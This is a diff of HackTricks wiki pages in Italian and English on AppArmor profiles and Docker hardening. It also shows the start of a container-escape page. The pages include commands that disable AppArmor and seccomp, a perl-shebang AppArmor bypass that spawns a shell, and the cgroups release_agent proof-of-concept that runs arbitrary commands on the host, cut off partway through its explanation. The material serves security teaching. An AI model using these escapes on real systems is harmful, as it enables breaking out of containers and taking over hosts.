Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,44 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Basic Information
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo degli accessi direttamente ai programmi anziché agli utenti. Questo sistema opera **caricando i profili nel kernel**, di solito durante l'avvio, e questi profili indicano a quali risorse un programma può accedere, come connessioni di rete, accesso a socket grezzi e autorizzazioni sui file.
|
||||
AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo accesso direttamente ai programmi invece che agli utenti. Questo sistema opera **caricando profili nel kernel**, di solito durante l'avvio, e questi profili determinano quali risorse un programma può accedere, come connessioni di rete, accesso a socket raw e permessi di file.
|
||||
|
||||
Ci sono due modalità operative per i profili di AppArmor:
|
||||
|
||||
* **Modalità di Applicazione**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano tali politiche e registrando qualsiasi tentativo di violarle attraverso sistemi come syslog o auditd.
|
||||
* **Modalità di Lamentele**: A differenza della modalità di applicazione, la modalità di lamentele non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza imporre restrizioni.
|
||||
* **Modalità di Enforcement**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano queste politiche e registrando eventuali tentativi di violarle attraverso sistemi come syslog o auditd.
|
||||
* **Modalità di Complain**: A differenza della modalità di enforcement, la modalità di complain non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza applicare restrizioni.
|
||||
|
||||
### Componenti di AppArmor
|
||||
### Components of AppArmor
|
||||
|
||||
* **Modulo Kernel**: Responsabile dell'applicazione delle politiche.
|
||||
* **Politiche**: Specificano le regole e le restrizioni per il comportamento del programma e l'accesso alle risorse.
|
||||
* **Modulo del Kernel**: Responsabile dell'applicazione delle politiche.
|
||||
* **Politiche**: Specificano le regole e le restrizioni per il comportamento dei programmi e l'accesso alle risorse.
|
||||
* **Parser**: Carica le politiche nel kernel per l'applicazione o la segnalazione.
|
||||
* **Utility**: Sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor.
|
||||
* **Utilità**: Questi sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor.
|
||||
|
||||
### Percorso dei Profili
|
||||
### Profiles path
|
||||
|
||||
I profili di AppArmor sono di solito salvati in _**/etc/apparmor.d/**_\
|
||||
Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se sostituisci il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo di apparmor all'interno della cartella menzionata.
|
||||
I profili di AppArmor sono solitamente salvati in _**/etc/apparmor.d/**_\
|
||||
Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se puoi cambiare il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo di AppArmor all'interno della cartella menzionata.
|
||||
|
||||
Ad esempio, un profilo **apparmor** per _/usr/bin/man_ sarà situato in _/etc/apparmor.d/usr.bin.man_
|
||||
Ad esempio, un **profilo di apparmor** per _/usr/bin/man_ si troverà in _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### Comandi
|
||||
### Commands
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
@ -64,35 +50,35 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## Creazione di un profilo
|
||||
|
||||
* Per indicare l'eseguibile interessato, sono consentiti **percorsi assoluti e caratteri jolly** (per il file globbing) per specificare i file.
|
||||
* Per indicare l'accesso che il binario avrà sui **file** possono essere utilizzati i seguenti **controlli di accesso**:
|
||||
* Per indicare l'eseguibile interessato, **sono consentiti percorsi assoluti e caratteri jolly** per specificare i file.
|
||||
* Per indicare l'accesso che il binario avrà su **file**, possono essere utilizzati i seguenti **controlli di accesso**:
|
||||
* **r** (lettura)
|
||||
* **w** (scrittura)
|
||||
* **m** (mappatura in memoria come eseguibile)
|
||||
* **k** (blocco del file)
|
||||
* **l** (creazione di collegamenti rigidi)
|
||||
* **ix** (per eseguire un altro programma con il nuovo programma che eredita la policy)
|
||||
* **Px** (eseguire sotto un altro profilo, dopo aver pulito l'ambiente)
|
||||
* **Cx** (eseguire sotto un profilo figlio, dopo aver pulito l'ambiente)
|
||||
* **Ux** (eseguire senza vincoli, dopo aver pulito l'ambiente)
|
||||
* Le **variabili** possono essere definite nei profili e possono essere manipolate dall'esterno del profilo. Ad esempio: @{PROC} e @{HOME} (aggiungere #include \<tunables/global> al file del profilo)
|
||||
* Le **regole di negazione sono supportate per sovrascrivere le regole di autorizzazione**.
|
||||
* **m** (mappatura della memoria come eseguibile)
|
||||
* **k** (blocco file)
|
||||
* **l** (creazione di hard link)
|
||||
* **ix** (eseguire un altro programma con la nuova politica ereditata)
|
||||
* **Px** (eseguire sotto un altro profilo, dopo aver ripulito l'ambiente)
|
||||
* **Cx** (eseguire sotto un profilo figlio, dopo aver ripulito l'ambiente)
|
||||
* **Ux** (eseguire senza restrizioni, dopo aver ripulito l'ambiente)
|
||||
* **Le variabili** possono essere definite nei profili e possono essere manipolate dall'esterno del profilo. Ad esempio: @{PROC} e @{HOME} (aggiungere #include \<tunables/global> al file del profilo)
|
||||
* **Le regole di negazione sono supportate per sovrascrivere le regole di autorizzazione**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Per iniziare facilmente a creare un profilo, apparmor può aiutarti. È possibile fare in modo che **apparmor ispezioni le azioni eseguite da un binario e poi ti permetta di decidere quali azioni vuoi consentire o negare**.\
|
||||
Basta eseguire:
|
||||
Per iniziare facilmente a creare un profilo, apparmor può aiutarti. È possibile far sì che **apparmor ispezioni le azioni eseguite da un binario e poi ti consenta di decidere quali azioni vuoi consentire o negare**.\
|
||||
Devi solo eseguire:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Quindi, in una console diversa esegui tutte le azioni che di solito eseguirebbe il binario:
|
||||
Poi, in una console diversa, esegui tutte le azioni che il binario eseguirà di solito:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Quindi, nella prima console premi "**s**" e poi nelle azioni registrate indica se vuoi ignorare, consentire o altro. Quando hai finito premi "**f**" e il nuovo profilo verrà creato in _/etc/apparmor.d/percorso.per.binario_
|
||||
Poi, nella prima console premi "**s**" e poi nelle azioni registrate indica se vuoi ignorare, consentire o altro. Quando hai finito premi "**f**" e il nuovo profilo sarà creato in _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
Utilizzando i tasti freccia puoi selezionare cosa desideri consentire/negare/altro
|
||||
Utilizzando i tasti freccia puoi selezionare cosa vuoi consentire/negare/altro
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
@ -123,7 +109,7 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si noti che per impostazione predefinita in un profilo creato nulla è consentito, quindi tutto è negato. Sarà necessario aggiungere righe come `/etc/passwd r,` per consentire la lettura binaria di `/etc/passwd`, ad esempio.
|
||||
Nota che per impostazione predefinita in un profilo creato nulla è consentito, quindi tutto è negato. Dovrai aggiungere righe come `/etc/passwd r,` per consentire la lettura binaria di `/etc/passwd`, ad esempio.
|
||||
{% endhint %}
|
||||
|
||||
Puoi quindi **applicare** il nuovo profilo con
|
||||
|
@ -132,15 +118,15 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
|||
```
|
||||
### Modifica di un profilo dai log
|
||||
|
||||
Il seguente strumento leggerà i log e chiederà all'utente se desidera permettere alcune delle azioni proibite rilevate:
|
||||
Il seguente strumento leggerà i log e chiederà all'utente se desidera consentire alcune delle azioni vietate rilevate:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Utilizzando i tasti freccia puoi selezionare ciò che desideri consentire/negare/o qualsiasi altra azione
|
||||
Utilizzando i tasti freccia puoi selezionare cosa vuoi consentire/negare/qualunque cosa
|
||||
{% endhint %}
|
||||
|
||||
### Gestione di un Profilo
|
||||
### Gestire un Profilo
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Registri
|
||||
## Logs
|
||||
|
||||
Esempio di registri **AUDIT** e **DENIED** da _/var/log/audit/audit.log_ dell'eseguibile **`service_bin`**:
|
||||
Esempio di log **AUDIT** e **DENIED** da _/var/log/audit/audit.log_ dell'eseguibile **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
Puoi ottenere queste informazioni anche utilizzando:
|
||||
Puoi anche ottenere queste informazioni utilizzando:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -191,49 +177,49 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Di default il profilo **Apparmor docker-default** è generato da [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Di default, il **profilo docker-default di Apparmor** è generato da [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
**Sommario del profilo docker-default**:
|
||||
**Riepilogo del profilo docker-default**:
|
||||
|
||||
- **Accesso** a tutta la **rete**
|
||||
- **Nessuna capability** è definita (Tuttavia, alcune capabilities verranno incluse dalle regole di base di base, ad es. #include \<abstractions/base>)
|
||||
- **Scrittura** su qualsiasi file **/proc** non è **permessa**
|
||||
- Altre **sottodirectory**/**file** di /**proc** e /**sys** hanno accesso **negato** in lettura/scrittura/blocco/link/esecuzione
|
||||
- **Montaggio** non è **permesso**
|
||||
- **Ptrace** può essere eseguito solo su un processo confinato dallo **stesso profilo apparmor**
|
||||
* **Accesso** a tutte le **reti**
|
||||
* **Nessuna capacità** è definita (Tuttavia, alcune capacità deriveranno dall'inclusione di regole di base, ad es. #include \<abstractions/base>)
|
||||
* **Scrivere** in qualsiasi file di **/proc** **non è consentito**
|
||||
* Altre **sottodirectory**/**file** di /**proc** e /**sys** hanno accesso in lettura/scrittura/blocco/link/esecuzione **negato**
|
||||
* **Montaggio** **non è consentito**
|
||||
* **Ptrace** può essere eseguito solo su un processo che è confinato dallo **stesso profilo apparmor**
|
||||
|
||||
Una volta che **avvii un container docker** dovresti vedere l'output seguente:
|
||||
Una volta che **esegui un container docker**, dovresti vedere il seguente output:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Nota che **apparmor bloccherà persino i privilegi delle capabilities** concessi al container per impostazione predefinita. Ad esempio, sarà in grado di **bloccare il permesso di scrittura all'interno di /proc anche se la capability SYS\_ADMIN è concessa** perché per impostazione predefinita il profilo apparmor di docker nega questo accesso:
|
||||
Nota che **apparmor bloccherà anche i privilegi delle capacità** concessi al container per impostazione predefinita. Ad esempio, sarà in grado di **bloccare il permesso di scrivere all'interno di /proc anche se la capacità SYS\_ADMIN è concessa** perché per impostazione predefinita il profilo apparmor di docker nega questo accesso:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Devi **disabilitare apparmor** per eludere le sue restrizioni:
|
||||
Devi **disabilitare apparmor** per bypassare le sue restrizioni:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Nota che di default **AppArmor** vieterà anche al contenitore di montare cartelle dall'interno anche con la capacità SYS\_ADMIN.
|
||||
Nota che per impostazione predefinita **AppArmor** **vietera' anche al container di montare** cartelle dall'interno anche con la capacità SYS\_ADMIN.
|
||||
|
||||
Nota che puoi **aggiungere/rimuovere** **capacità** al contenitore docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**):
|
||||
Nota che puoi **aggiungere/rimuovere** **capacità** al container docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` aggiunge la capacità `SYS_ADMIN`
|
||||
* `--cap-add=ALL` aggiunge tutte le capacità
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e aggiunge solo `SYS_PTRACE`
|
||||
* `--cap-add=SYS_ADMIN` dà la capacità `SYS_ADMIN`
|
||||
* `--cap-add=ALL` dà tutte le capacità
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e dà solo `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Di solito, quando **trovi** che hai una **capacità privilegiata** disponibile **all'interno** di un **contenitore docker** ma una parte dell'**exploit non funziona**, questo sarà perché **AppArmor di docker lo sta impedendo**.
|
||||
Di solito, quando **scopri** di avere una **capacità privilegiata** disponibile **all'interno** di un **container** **docker** **ma** che alcune parti dell'**exploit non funzionano**, questo sarà perché **apparmor di docker lo impedirà**.
|
||||
{% endhint %}
|
||||
|
||||
### Esempio
|
||||
|
||||
(Esempio da [**qui**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
Per illustrare la funzionalità di AppArmor, ho creato un nuovo profilo Docker "mydocker" con la seguente riga aggiunta:
|
||||
Per illustrare la funzionalità di AppArmor, ho creato un nuovo profilo Docker “mydocker” con la seguente riga aggiunta:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
|
@ -241,37 +227,37 @@ Per attivare il profilo, dobbiamo fare quanto segue:
|
|||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Per elencare i profili, possiamo eseguire il seguente comando. Il comando qui sotto elenca il mio nuovo profilo AppArmor.
|
||||
Per elencare i profili, possiamo eseguire il seguente comando. Il comando qui sotto sta elencando il mio nuovo profilo AppArmor.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
Come mostrato di seguito, otteniamo un errore quando cerchiamo di modificare "/etc/" poiché il profilo di AppArmor impedisce l'accesso in scrittura a "/etc".
|
||||
Come mostrato di seguito, otteniamo un errore quando cerchiamo di modificare “/etc/” poiché il profilo AppArmor impedisce l'accesso in scrittura a “/etc”.
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### Bypass di AppArmor Docker1
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
È possibile trovare quale **profilo apparmor sta eseguendo un contenitore** utilizzando:
|
||||
Puoi scoprire quale **profilo apparmor sta eseguendo un container** usando:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Quindi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**:
|
||||
Poi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
Nel caso strano in cui è possibile **modificare il profilo apparmor di Docker e ricaricarlo**, potresti rimuovere le restrizioni e "bypassarle".
|
||||
In the weird case you can **modificare il profilo docker di apparmor e ricaricarlo.** Potresti rimuovere le restrizioni e "bypassarle".
|
||||
|
||||
### Bypass di AppArmor Docker2
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor è basato sui percorsi**, ciò significa che anche se potrebbe essere **protettivo** nei confronti dei file all'interno di una directory come **`/proc`**, se puoi **configurare come verrà eseguito il container**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non sarà più protetta da AppArmor.
|
||||
**AppArmor è basato su percorso**, questo significa che anche se potrebbe **proteggere** file all'interno di una directory come **`/proc`**, se puoi **configurare come verrà eseguito il container**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non **sarà più protetta da AppArmor**.
|
||||
|
||||
### Bypass di AppArmor Shebang
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
In [**questo bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) puoi vedere un esempio di come **anche se stai impedendo a perl di essere eseguito con determinate risorse**, se crei semplicemente uno script shell **specificando** nella prima riga **`#!/usr/bin/perl`** e **esegui direttamente il file**, sarai in grado di eseguire ciò che desideri. Esempio:
|
||||
In [**questo bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) puoi vedere un esempio di come **anche se stai impedendo l'esecuzione di perl con determinate risorse**, se crei semplicemente uno script shell **specificando** nella prima riga **`#!/usr/bin/perl`** e **esegui il file direttamente**, sarai in grado di eseguire qualsiasi cosa tu voglia. E.g.:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -281,21 +267,9 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi di ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -303,7 +277,7 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Fuga dalle cgroups del Docker release_agent
|
||||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**Per ulteriori dettagli, fare riferimento al** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riepilogo:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Per ulteriori dettagli, consulta il** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto:
|
||||
|
||||
PoC originale:
|
||||
Original PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
@ -39,55 +26,43 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Il proof of concept (PoC) dimostra un metodo per sfruttare i cgroups creando un file `release_agent` e attivandone l'invocazione per eseguire comandi arbitrari sull'host del contenitore. Ecco una panoramica dei passaggi coinvolti:
|
||||
La prova di concetto (PoC) dimostra un metodo per sfruttare i cgroups creando un file `release_agent` e attivando la sua invocazione per eseguire comandi arbitrari sull'host del container. Ecco una suddivisione dei passaggi coinvolti:
|
||||
|
||||
1. **Preparare l'Ambiente:**
|
||||
* Viene creato un directory `/tmp/cgrp` per fungere da punto di mount per il cgroup.
|
||||
